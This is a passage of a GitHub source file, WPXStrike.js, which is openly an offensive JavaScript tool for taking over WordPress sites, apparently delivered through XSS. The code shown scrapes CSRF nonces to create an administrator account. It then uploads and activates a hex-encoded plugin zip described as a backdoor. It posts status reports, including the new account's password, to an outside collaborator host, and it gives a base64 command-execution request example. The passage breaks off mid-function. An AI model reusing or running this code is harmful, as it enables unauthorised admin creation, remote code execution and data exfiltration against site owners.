-
Notifications
You must be signed in to change notification settings - Fork 10
/
Copy pathWPXStrike.js
1842 lines (1575 loc) · 113 KB
/
WPXStrike.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
/*
;,_ ,
_uP~"b d"u,
dP' "b ,d" "o
d" , `b d"' "b
l] [ " `l, d" lb
Ol ? " "b`"=uoqo,_ "l
,dBb "b "b, `"~~TObup,_
,d" (db.`" "" "tbc,_ `~"Yuu,_
.d" l`T' '= ~ `""Yu,
,dO` gP, `u, b,_ "b7
d?' ,d" l, `"b,_ `~b "1
,8i' dl `l ,ggQOV",dbgq,._" `l lb WPXStrike (https://github.com/nowak0x01/WPXStrike)
.df' (O, " ,ggQY"~ , @@@@@d"bd~ `b "1
.df' `" -=@QgpOY"" (b @@@@P db `Lp"b,
.d( _ "ko "=d_,Q` ,_ " "b,
Ql . `"qo,._ "tQo,_`""bo ;tb, `"b,
qQ |L ~"QQQgggc,_.,dObc,opooO `"~~";. __,7,
qp t\io,_ `~"TOOggQV"""" _,dg,_ =PIQHib.
`qp `Q["tQQQo,_ ,pl{QOP"' 7AFR`
` `tb '""tQQQg,_ p" "b ` .;-.`Vl'
"Yb `"tQOOo,__ _,edb ` .__ /`/'| |b;=;.__
`"tQQQOOOOP""`"\QV;qQObob"`-._`\_~~-._
"""" ._ / | |oP"\_ ~\ ~\_~\
`~"\ic,qggddOOP"| | ~\ `\~-._
,qP`"""|" | `\ `; `\ `\
_ _,p" | | `\`; | |
@Author: Hudson Nowak "boo,._dP" `\_ `\ `\| `\ ;
`"7tY~' `\ `\ `|_ |
`~\ |
*/
// ************************************ ~% Variables %~ ************************************ //
var Target = "https://10.0.1.73:10050/wp/"; // Ex: https://172.16.0.13:8000/wordpress/
var Callback = "https://xopy8j7taqgx8638bcvddnufh3nxbozd.oastify.com/"; // Ex: https://collaborator.oastify.com/ (optional) (only if you want to receive feedback at each stage).
// ************************************ ~% Functions %~ ************************************ //
// WPCreateAccount(); // (Privilege Escalation) - Creates an user in WordPress.
// WPUploadCustomPlugin(); // (RCE) - Upload your custom plugin (backdoor) to WordPress.
// WPEditPlugins(); // (RCE) - Edit a Built-In Plugins in WordPress.
// WPEditThemes(); // (RCE) - Edit a Built-In Themes in WordPress.
// CustomExploits(); // (Custom) - Custom Exploits for Third-Party WordPress Plugins/Themes.
function WPCreateAccount() {
/* ************************************************************************************************************************************************ */
var Username = "nowak"; // Ex: operator (It is recommended to use a valid employee name from the target company).
var Password = `j^QEkyvd7*g3xqsE`; // (weak password are allowed).
var Email = "nowak@example.com"; // Ex: user@company.net (It is recommended to use a business email from the target company) (No email will be sent to the email address entered).
var Role = "administrator"; // Ex: administrator, editor, author, contributor, subscriber.
var FirstName = ""; // (optional)
var LastName = ""; // (optional)
/* ************************************************************************************************************************************************ */
// ************************************ ~% WPCreateAccount Modules %~ ************************************ //
// [#] Choose one of the available modules [#] //
// WPXCreateAccount(); // Wordpress Create Account Module for Wordpress 6.X.X, 5.X.X and 4.X.X.
/* ************************************************************************************************************************************************ */
// Wordpress Create Account Module for Wordpress 6.X.X, 5.X.X and 4.X.X.
function WPXCreateAccount() {
if (Target.substr(-1) != '/') Target += '/';
var _stage1 = new XMLHttpRequest();
_stage1.open("GET", Target + "wp-admin/user-new.php", false);
_stage1.send();
if (_stage1.responseText) {
var csrf_token = _stage1.responseText.match(/id="_wpnonce_create-user"[\s\S]*?value="(.*?)"/)[1];
if (csrf_token) {
var _stage2 = new XMLHttpRequest();
_stage2.open("POST", Target + "wp-admin/user-new.php", false);
_stage2.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
_stage2.send("action=createuser&_wpnonce_create-user=" +
csrf_token + "&_wp_http_referer=%2Fwp-admin%2Fuser-new.php&user_login=" +
encodeURIComponent(Username) + "&email=" +
encodeURIComponent(Email) + "&first_name=" +
encodeURIComponent(FirstName) + "&last_name=" +
encodeURIComponent(LastName) + "&url=&pass1=" +
encodeURIComponent(Password) + "&pass2=" +
encodeURIComponent(Password) + "&pw_weak=on&role=" +
Role + "&createuser=Add%2BNew%2BUser");
if (_stage2.responseText.match("already registered")) {
if (Callback) {
var _callback = new XMLHttpRequest();
_callback.open("POST", Callback, true);
_callback.send(
JSON.stringify(
{
"Host": Target + "wp-admin/user-new.php",
"Module": "WPCreateAccount.WPXCreateAccount()",
"Message": "[ERROR] Stage 2 - Unable to create the user!.",
"About": _stage2.responseText.match(/<div class="error">\s*<p><strong>Error:<\/strong>\s*(.*?)<\/p>/)[1],
"Data": {
"User": Username,
"Email": Email,
"Password": Password,
"Role": Role,
"FirstName": FirstName,
"LastName": LastName
},
"Date": new Date().toUTCString()
}
)
);
}
} else if (_stage2.responseText.match(Username)[0]) {
if (Callback) {
var _callback = new XMLHttpRequest();
_callback.open("POST", Callback, true);
_callback.send(
JSON.stringify(
{
"Host": Target + "wp-admin/user-new.php",
"Module": "WPCreateAccount.WPXCreateAccount()",
"Message": "[Sucessful] The user has been successfully created!.",
"Data": {
"User": Username,
"Email": Email,
"Password": Password,
"Role": Role,
"FirstName": FirstName,
"LastName": LastName
},
"Date": new Date().toUTCString()
}
)
);
}
} else {
if (Callback) {
var _callback = new XMLHttpRequest();
_callback.open("POST", Callback, true);
_callback.send(
JSON.stringify(
{
"Host": Target + "wp-admin/user-new.php",
"Module": "WPCreateAccount.WPXCreateAccount()",
"Message": "[ERROR] Stage 2 - Unable to create the user!.",
"About": _stage2.responseText.match(/<div class="error">\s*<p><strong>Error:<\/strong>\s*(.*?)<\/p>/)[1],
"Data": {
"User": Username,
"Email": Email,
"Password": Password,
"Role": Role,
"FirstName": FirstName,
"LastName": LastName
},
"Date": new Date().toUTCString()
}
)
);
}
}
} else {
if (Callback) {
var _callback = new XMLHttpRequest();
_callback.open("POST", Callback, true);
_callback.send(
JSON.stringify(
{
"Host": Target + "wp-admin/user-new.php",
"Module": "WPCreateAccount.WPXCreateAccount()",
"Message": "[ERROR] Stage 1 - (Cannot GET CSRF_TOKEN)",
"Data": {
"User": Username,
"Email": Email,
"Password": Password,
"Role": Role,
"FirstName": FirstName,
"LastName": LastName
},
"Date": new Date().toUTCString()
}
)
);
}
}
} else {
if (Callback) {
var _callback = new XMLHttpRequest();
_callback.open("POST", Callback, true);
_callback.send(
JSON.stringify(
{
"Host": Target + "wp-admin/user-new.php",
"Module": "WPCreateAccount.WPXCreateAccount()",
"Message": "[ERROR] Stage 1 - (Unable to retrieve server response.)",
"Date": new Date().toUTCString()
}
)
);
}
}
}
}
function WPUploadCustomPlugin() {
// ************************************ ~% WPUploadCustomPlugin Modules %~ ************************************ //
// [#] Choose one of the available modules [#] //
// WPXUploadCustomPlugin(); // Wordpress Upload Custom Plugin Module for Wordpress 6.X.X and 5.X.X.
// WP4UploadCustomPlugin(); // Wordpress Upload Custom Plugin Module for Wordpress 4.X.X.
/* ************************************************************************************************************************************************ */
// Wordpress Upload Custom Plugin Module for Wordpress 6.X.X and 5.X.X.
function WPXUploadCustomPlugin() {
/* ************************************************************************************************************************************************ */
// The name and the filename of your plugin. (only change it if you are going to use another plugin other than WPAnalytics).
var Plugin = "WPAnalytics/WPAnalytics.php";
// The Contents of your .zip plugin file encoded in Hex. (only change it if you are going to use another plugin other than WPAnalytics) -> Ex: xxd -p -c 0 [File.zip].
var HexFileContent = "504b0304140000000800aa1b2f57899a2b6b86020000fe0400000f001c005750416e616c79746963732e706870555409000390cf036590cf036575780b000104e803000004e8030000cd535d4fdb40107c4e7ec516214810b6f9286d815a2d8236a04a9052681eaa0aaded4d7c8d7d77ba3bc70988ffdebd38a429a2efb5fc70be9dd99ddd59bfffa073dd8eb6dab00583fe89c462e6446afde747ac5cae0cac3ce7556695844b55e398217354ad4ca60d591be8a21a09e92ffbf3135c6249470beab3e467645323b4134abe8000610141ab9accb02a0097f74d0918b2ac01d7edfbbae07274a08d9a888c2ccc5405b5703964441a84b462943bce289df2310335255638dae46c9c5e9912654a5c2383ca928184729c08654218f82c847616381518c20c32b479a2d064768e4f55c99de7c435260486b432ce6ecf15a428a1c43131c5619019064856940acb1db364058a9b2fc53d3d17952ae948ba6d10a5ef891a55244738a2721ef0a513a5ac6ba84a164212780f883b09fd784f1aeb6eaf2f9ea60bb973da1e45d188bbaa9290b547d2fbb833ddd98d3ce73b19bb62877f0ec23d8e44ed766b3dc5a248301d430c095a7af3fa8ebb511975d6effa57df6e7e6c7ed97d77589eedfddafcd93d862882d31ce588e02617d6d319fa4fea550f0ff7b331be446db7c4b023ac25d7596ae8c2c606fc51f42a86b5b52e3c30d68357a4c61ce1fd1672a818b038759a22d7e42a23572f3bce1b86502835065ea94c584c0aba1b56327573db22f661228c92de0898a0111e60bbbe72b4059fa658ea82fc57cb770651ad83859f51b3ba367a680e8fd1c35014f418faff8ff1e7ece7115093c1bbe32f4f1b6e7033d3fc23a1d68548d14b89a6415dd781dfdea03205fbcef3cc3c250cc379fd273be2b497d7383828933a8e7d84ed6c3dfe3d56e62e46ea5d5a8eb3d5e27739cd05eef8ffeef5f37dba7fad52791b6f3c6d558c83af6f2f7ad3fb8bd3dd3ce98d56a6f01b504b01021e03140000000800aa1b2f57899a2b6b86020000fe0400000f0018000000000001000000a481000000005750416e616c79746963732e706870555405000390cf036575780b000104e803000004e8030000504b0506000000000100010055000000cf0200000000";
if (Target.substr(-1) != '/') Target += '/';
var _stage1 = new XMLHttpRequest();
_stage1.open("GET", Target + "wp-admin/plugin-install.php", false);
_stage1.send();
if (_stage1.responseText) {
var csrf_token = _stage1.responseText.match(/<input\s+type="hidden"\s+id="_wpnonce"\s+name="_wpnonce"\s+value="([^"]+)"\s*\/>/)[1];
if (csrf_token) {
var blob = hexToBlob(HexFileContent);
var boundary = "--nowak0x01";
var formData = new FormData();
formData.append("_wpnonce", `${csrf_token}`);
formData.append("_wp_http_referer", "/wp-admin/plugin-install.php");
formData.append("pluginzip", new Blob([blob], { type: "application/octet-stream" }), Plugin.match(/([^/]+)/)[0] + ".zip");
function hexToBlob(hexString) {
const arrayBuffer = new Uint8Array(hexString.match(/.{1,2}/g).map(byte => parseInt(byte, 16))).buffer;
return new Blob([arrayBuffer], { type: 'application/octet-stream' });
}
var _stage2 = new XMLHttpRequest();
_stage2.open("POST", Target + "wp-admin/update.php?action=upload-plugin", false);
_stage2.send(formData);
// Extract from "plugins.php?action=activate" the Plugin Name and CSRF Token
var _csrf_token2 = _stage2.responseText.match(/plugins\.php\?action=activate[^"]*&_wpnonce=([^"&]+)/);
var _Plugin = _stage2.responseText.match(/href="[^"]*plugins\.php\?action=activate[^"]*&plugin=([^&]+)&_/);
if (_csrf_token2 !== null) { csrf_token2 = _csrf_token2[1]; }
if (_Plugin !== null) { Plugin = _Plugin[1]; }
if (_stage2.responseText.match("Destination folder already exists") || _stage2.responseText.match("This plugin is already installed")) {
if (Callback) {
var _callback = new XMLHttpRequest();
_callback.open("POST", Callback, true);
_callback.send(
JSON.stringify(
{
"Host": Target + "wp-admin/update.php?action=upload-plugin",
"Module": "WPUploadCustomPlugin.WPXUploadCustomPlugin()",
"Message": "[ERROR] Stage 2 - (Unable to upload the plugin: " + Plugin + ", but don't worry—I'm currently attempting to overwrite the existing installation of the plugin.)",
"About": "Destination folder already exists OR This plugin is already installed.",
"Date": new Date().toUTCString()
}
)
);
}
var _overwrite = _stage2.responseText.match(/<a[^>]*class="[^"]*\bupdate-from-upload-overwrite\b[^"]*"[^>]*\bhref="([^"]*)"[^>]*>/)[1];
_overwrite = _overwrite.replace(/&/g, '&');
var _ = new XMLHttpRequest();
_.open("GET", Target + "wp-admin/" + _overwrite, false);
_.send();
if (_.responseText.match("Plugin updated successfully.")) {
if (Callback) {
var _callback = new XMLHttpRequest();
_callback.open("POST", Callback, true);
_callback.send(
JSON.stringify(
{
"Host": Target + "wp-admin/" + _overwrite,
"Module": "WPUploadCustomPlugin.WPXUploadCustomPlugin()",
"Message": "[Sucessful] Stage 2 - (The plugin: " + _stage2.responseText.match(/Destination folder already exists\.\s*([\s\S]*?)<\/p>/)[1] + " has been successfully overwritten!)",
"About": [
"Your plugin has been uploaded to the Directory: " + _stage2.responseText.match(/Destination folder already exists\.\s*([\s\S]*?)<\/p>/)[1] + ". To trigger the backdoor, access the URL: " + Target + "wp-content/plugins/<YourPlugin>/<file>.php",
"To see examples, check: https://github.com/nowak0x01/WPXStrike",
],
"Date": new Date().toUTCString()
}
)
);
}
if (_.responseText.match("Activate Plugin")) {
// Extract the Plugin Name and CSRF Token from the "plugins.php?action=activate".
var _y = _.responseText.match(/<a class="button button-primary" href="([^"]+)"[^>]*>Activate Plugin<\/a>/)[1];
_y = _y.replace(/&/g, '&');
var csrf_token2 = _y.match(/(?:[?&])_wpnonce=([^&]+)/)[1];
var Plugin = _y.match(/(?:[?&])plugin=([^&]+)/)[1];
// Activate the Plugin
var _stage3 = new XMLHttpRequest();
_stage3.open("GET", Target + "wp-admin/plugins.php?action=activate&plugin=" + decodeURIComponent(Plugin) + "&_wpnonce=" + csrf_token2, false);
_stage3.send();
if (_stage3.responseText.match("Plugin activated")) {
if (Callback) {
var _callback = new XMLHttpRequest();
_callback.open("POST", Callback, true);
_callback.send(
JSON.stringify(
{
"Host": Target + "wp-admin/plugins.php?action=activate&plugin=" + decodeURIComponent(Plugin) + "&_wpnonce=" + csrf_token2,
"Module": "WPUploadCustomPlugin.WPXUploadCustomPlugin()",
"Message": "[Sucessful] Stage 3 - Plugin: " + decodeURIComponent(Plugin) + " has been Successfully Activated!",
"About": [
"If you're using the default WPAnalytics Plugin embedded in the exploit, you can activate the backdoor functionality by accessing any WordPress endpoint.",
"To see examples, check: https://github.com/nowak0x01/WPXStrike",
"",
"# HTTP Request Example #",
"POST / HTTP/2",
"Host: localhost",
"Content-Type: application/x-www-form-urlencoded",
"[\r\n]",
"K189mD2j=cGFzc3RocnU=&OGa93dka=aWQ7dW5hbWUgLWE7aXAgYTtscyAtYWxo",
""
],
"Date": new Date().toUTCString()
}
)
);
}
}
}
}
} else if (Plugin && csrf_token2) {
if (Callback) {
var _callbackx = new XMLHttpRequest();
_callbackx.open("POST", Callback, true);
_callbackx.send(
JSON.stringify(
{
"Host": Target + "wp-admin/update.php?action=upload-plugin",
"Module": "WPUploadCustomPlugin.WPXUploadCustomPlugin()",
"Message": "[Sucessful] Stage 2 - (The plugin: " + decodeURIComponent(Plugin) + " has been Successfully Uploaded!)",
"About": [
"Your plugin: " + decodeURIComponent(Plugin) + " has been uploaded to the directory: " + "wp-content/plugins/" + decodeURIComponent(Plugin) + ". To trigger the backdoor, access the URL: " + Target + "wp-content/plugins/" + decodeURIComponent(Plugin),
"To see examples, check: https://github.com/nowak0x01/WPXStrike",
],
"Date": new Date().toUTCString()
}
)
);
}
// Activate the Plugin
var _stage3 = new XMLHttpRequest();
_stage3.open("GET", Target + "wp-admin/plugins.php?action=activate&plugin=" + decodeURIComponent(Plugin) + "&_wpnonce=" + csrf_token2, false);
_stage3.send();
if (_stage3.responseText.match("Plugin activated")) {
if (Callback) {
var _callback = new XMLHttpRequest();
_callback.open("POST", Callback, true);
_callback.send(
JSON.stringify(
{
"Host": Target + "wp-admin/plugins.php?action=activate&plugin=" + decodeURIComponent(Plugin) + "&_wpnonce=" + csrf_token2,
"Module": "WPUploadCustomPlugin.WPXUploadCustomPlugin()",
"Message": "[Sucessful] Stage 3 - Plugin: " + decodeURIComponent(Plugin) + " has been Successfully Activated!",
"About": [
"If you're using the default WPAnalytics Plugin embedded in the exploit, you can activate the backdoor functionality by accessing any WordPress endpoint.",
"To see examples, check: https://github.com/nowak0x01/WPXStrike",
"",
"POST / HTTP/2",
"Host: localhost",
"Content-Type: application/x-www-form-urlencoded",
"[\r\n]",
"K189mD2j=cGFzc3RocnU=&OGa93dka=aWQ7dW5hbWUgLWE7aXAgYTtscyAtYWxo",
""
],
"Date": new Date().toUTCString()
}
)
);
}
}
} else {
if (Callback) {
var _xcallback = new XMLHttpRequest();
_xcallback.open("POST", Callback, true);
_xcallback.send(
JSON.stringify(
{
"Host": Target + "wp-admin/update.php?action=upload-plugin",
"Module": "WPUploadCustomPlugin.WPXUploadCustomPlugin()",
"Message": "[UNKNOWN ERROR] Stage 2 - (Cannot Upload the Plugin: " + Plugin + ".)",
"Date": new Date().toUTCString(),
"About": encodeURIComponent(_stage2.responseText)
}
)
);
}
}
} else {
if (Callback) {
var _callback = new XMLHttpRequest();
_callback.open("POST", Callback, true);
_callback.send(
JSON.stringify(
{
"Host": Target + "wp-admin/plugin-install.php",
"Module": "WPUploadCustomPlugin.WPXUploadCustomPlugin()",
"Message": "[ERROR] Stage 1 - (Cannot GET CSRF_TOKEN)",
"Date": new Date().toUTCString(),
"About": encodeURIComponent(_stage1.responseText)
}
)
);
}
}
} else {
if (Callback) {
var _callback = new XMLHttpRequest();
_callback.open("POST", Callback, true);
_callback.send(
JSON.stringify(
{
"Host": Target + "wp-admin/plugin-install.php",
"Module": "WPUploadCustomPlugin.WPXUploadCustomPlugin()",
"Message": "[ERROR] Stage 1 - (Unable to retrieve server response.)",
"Date": new Date().toUTCString(),
}
)
);
}
}
}
// Wordpress Upload Custom Plugin Module for Wordpress 4.X.X.
function WP4UploadCustomPlugin() {
/* ************************************************************************************************************************************************ */
// The name and the filename of your plugin. (only change it if you are going to use another plugin other than WPAnalytics).
var Plugin = "WPAnalytics/WPAnalytics.php";
// The Contents of your .zip plugin file encoded in Hex. (only change it if you are going to use another plugin other than WPAnalytics) -> Ex: xxd -p -c 0 [File.zip].
var HexFileContent = "504b0304140000000800aa1b2f57899a2b6b86020000fe0400000f001c005750416e616c79746963732e706870555409000390cf036590cf036575780b000104e803000004e8030000cd535d4fdb40107c4e7ec516214810b6f9286d815a2d8236a04a9052681eaa0aaded4d7c8d7d77ba3bc70988ffdebd38a429a2efb5fc70be9dd99ddd59bfffa073dd8eb6dab00583fe89c462e6446afde747ac5cae0cac3ce7556695844b55e398217354ad4ca60d591be8a21a09e92ffbf3135c6249470beab3e467645323b4134abe8000610141ab9accb02a0097f74d0918b2ac01d7edfbbae07274a08d9a888c2ccc5405b5703964441a84b462943bce289df2310335255638dae46c9c5e9912654a5c2383ca928184729c08654218f82c847616381518c20c32b479a2d064768e4f55c99de7c435260486b432ce6ecf15a428a1c43131c5619019064856940acb1db364058a9b2fc53d3d17952ae948ba6d10a5ef891a55244738a2721ef0a513a5ac6ba84a164212780f883b09fd784f1aeb6eaf2f9ea60bb973da1e45d188bbaa9290b547d2fbb833ddd98d3ce73b19bb62877f0ec23d8e44ed766b3dc5a248301d430c095a7af3fa8ebb511975d6effa57df6e7e6c7ed97d77589eedfddafcd93d862882d31ce588e02617d6d319fa4fea550f0ff7b331be446db7c4b023ac25d7596ae8c2c606fc51f42a86b5b52e3c30d68357a4c61ce1fd1672a818b038759a22d7e42a23572f3bce1b86502835065ea94c584c0aba1b56327573db22f661228c92de0898a0111e60bbbe72b4059fa658ea82fc57cb770651ad83859f51b3ba367a680e8fd1c35014f418faff8ff1e7ece7115093c1bbe32f4f1b6e7033d3fc23a1d68548d14b89a6415dd781dfdea03205fbcef3cc3c250cc379fd273be2b497d7383828933a8e7d84ed6c3dfe3d56e62e46ea5d5a8eb3d5e27739cd05eef8ffeef5f37dba7fad52791b6f3c6d558c83af6f2f7ad3fb8bd3dd3ce98d56a6f01b504b01021e03140000000800aa1b2f57899a2b6b86020000fe0400000f0018000000000001000000a481000000005750416e616c79746963732e706870555405000390cf036575780b000104e803000004e8030000504b0506000000000100010055000000cf0200000000";
if (Target.substr(-1) != '/') Target += '/';
var _stage1 = new XMLHttpRequest();
_stage1.open("GET", Target + "wp-admin/plugin-install.php", false);
_stage1.send();
if (_stage1.responseText) {
var csrf_token = _stage1.responseText.match(/<input\s+type="hidden"\s+id="_wpnonce"\s+name="_wpnonce"\s+value="([^"]+)"\s*\/>/)[1];
if (csrf_token) {
var blob = hexToBlob(HexFileContent);
var boundary = "--nowak0x01";
var formData = new FormData();
formData.append("_wpnonce", `${csrf_token}`);
formData.append("_wp_http_referer", "/wp-admin/plugin-install.php");
formData.append("pluginzip", new Blob([blob], { type: "application/octet-stream" }), Plugin.match(/([^/]+)/)[0] + ".zip");
function hexToBlob(hexString) {
const arrayBuffer = new Uint8Array(hexString.match(/.{1,2}/g).map(byte => parseInt(byte, 16))).buffer;
return new Blob([arrayBuffer], { type: 'application/octet-stream' });
}
var _stage2 = new XMLHttpRequest();
_stage2.open("POST", Target + "wp-admin/update.php?action=upload-plugin", false);
_stage2.send(formData);
// Extract from "plugins.php?action=activate" the Plugin Name and CSRF Token
var _csrf_token2 = _stage2.responseText.match(/plugins\.php\?action=activate[^"]*&_wpnonce=([^"&]+)/);
var _Plugin = _stage2.responseText.match(/href="[^"]*plugins\.php\?action=activate[^"]*&plugin=([^&]+)&_/);
if (_csrf_token2 !== null) { csrf_token2 = _csrf_token2[1]; }
if (_Plugin !== null) { Plugin = _Plugin[1]; }
if (_stage2.responseText.match("Destination folder already exists") || _stage2.responseText.match("This plugin is already installed")) {
if (Callback) {
var _callback = new XMLHttpRequest();
_callback.open("POST", Callback, true);
_callback.send(
JSON.stringify(
{
"Host": Target + "wp-admin/update.php?action=upload-plugin",
"Module": "WPUploadCustomPlugin.WPXUploadCustomPlugin()",
"Message": "[ERROR] Stage 2 - (Unable to upload the plugin: " + Plugin + ", but don't worry—I'm currently attempting to rename the plugin and reupload it (this is necessary for WP 4.X.X, it is not feasible to overwrite the existing plugin).)",
"About": "Destination folder already exists OR This plugin is already installed.",
"Date": new Date().toUTCString()
}
)
);
}
Plugin = Plugin.replace(Plugin, new Date().getTime() + "-" + Plugin);
var blob = hexToBlob(HexFileContent);
var boundary = "--nowak0x01";
var formData = new FormData();
formData.append("_wpnonce", `${csrf_token}`);
formData.append("_wp_http_referer", "/wp-admin/plugin-install.php");
formData.append("pluginzip", new Blob([blob], { type: "application/octet-stream" }), Plugin.match(/([^/]+)/)[0] + ".zip");
function hexToBlob(hexString) {
const arrayBuffer = new Uint8Array(hexString.match(/.{1,2}/g).map(byte => parseInt(byte, 16))).buffer;
return new Blob([arrayBuffer], { type: 'application/octet-stream' });
}
var _stage2 = new XMLHttpRequest();
_stage2.open("POST", Target + "wp-admin/update.php?action=upload-plugin", false);
_stage2.send(formData);
// Extract from "plugins.php?action=activate" the Plugin Name and CSRF Token
var _csrf_token2 = _stage2.responseText.match(/plugins\.php\?action=activate[^"]*&_wpnonce=([^"&]+)/);
var _Plugin = _stage2.responseText.match(/href="[^"]*plugins\.php\?action=activate[^"]*&plugin=([^&]+)&_/);
if (_csrf_token2 !== null) { csrf_token2 = _csrf_token2[1]; }
if (_Plugin !== null) { Plugin = _Plugin[1]; }
if (Plugin && csrf_token2) {
if (Callback) {
var _callbackx = new XMLHttpRequest();
_callbackx.open("POST", Callback, true);
_callbackx.send(
JSON.stringify(
{
"Host": Target + "wp-admin/update.php?action=upload-plugin",
"Module": "WPUploadCustomPlugin.WPXUploadCustomPlugin()",
"Message": "[Sucessful] Stage 2 - (The plugin: " + decodeURIComponent(Plugin) + " has been Successfully Uploaded!)",
"About": [
"Your plugin: " + decodeURIComponent(Plugin) + " has been uploaded to the directory: " + "wp-content/plugins/" + decodeURIComponent(Plugin) + ". To trigger the backdoor, access the URL: " + Target + "wp-content/plugins/" + decodeURIComponent(Plugin),
"To see examples, check: https://github.com/nowak0x01/WPXStrike",
],
"Date": new Date().toUTCString()
}
)
);
}
// Activate the Plugin
var _stage3 = new XMLHttpRequest();
_stage3.open("GET", Target + "wp-admin/plugins.php?action=activate&plugin=" + decodeURIComponent(Plugin) + "&_wpnonce=" + csrf_token2, false);
_stage3.send();
if (_stage3.responseText.match("Plugin <strong>activated</strong>")) {
if (Callback) {
var _callback = new XMLHttpRequest();
_callback.open("POST", Callback, true);
_callback.send(
JSON.stringify(
{
"Host": Target + "wp-admin/plugins.php?action=activate&plugin=" + decodeURIComponent(Plugin) + "&_wpnonce=" + csrf_token2,
"Module": "WPUploadCustomPlugin.WPXUploadCustomPlugin()",
"Message": "[Sucessful] Stage 3 - Plugin: " + decodeURIComponent(Plugin) + " has been Successfully Activated!",
"About": [
"If you're using the default WPAnalytics Plugin embedded in the exploit, you can activate the backdoor functionality by accessing any WordPress endpoint.",
"To see examples, check: https://github.com/nowak0x01/WPXStrike",
"",
"POST / HTTP/2",
"Host: localhost",
"Content-Type: application/x-www-form-urlencoded",
"[\r\n]",
"K189mD2j=cGFzc3RocnU=&OGa93dka=aWQ7dW5hbWUgLWE7aXAgYTtscyAtYWxo",
""
],
"Date": new Date().toUTCString()
}
)
);
}
}
} else {
if (Callback) {
var _xcallback = new XMLHttpRequest();
_xcallback.open("POST", Callback, true);
_xcallback.send(
JSON.stringify(
{
"Host": Target + "wp-admin/update.php?action=upload-plugin",
"Module": "WPUploadCustomPlugin.WPXUploadCustomPlugin()",
"Message": "[UNKNOWN ERROR] Stage 2 - (Cannot Upload the Plugin: " + Plugin + ".)",
"Date": new Date().toUTCString(),
"About": encodeURIComponent(_stage2.responseText)
}
)
);
}
}
} else if (Plugin && csrf_token2) {
if (Callback) {
var _callbackx = new XMLHttpRequest();
_callbackx.open("POST", Callback, true);
_callbackx.send(
JSON.stringify(
{
"Host": Target + "wp-admin/update.php?action=upload-plugin",
"Module": "WPUploadCustomPlugin.WPXUploadCustomPlugin()",
"Message": "[Sucessful] Stage 2 - (The plugin: " + decodeURIComponent(Plugin) + " has been Successfully Uploaded!)",
"About": [
"Your plugin: " + decodeURIComponent(Plugin) + " has been uploaded to the directory: " + "wp-content/plugins/" + decodeURIComponent(Plugin) + ". To trigger the backdoor, access the URL: " + Target + "wp-content/plugins/" + decodeURIComponent(Plugin),
"To see examples, check: https://github.com/nowak0x01/WPXStrike",
],
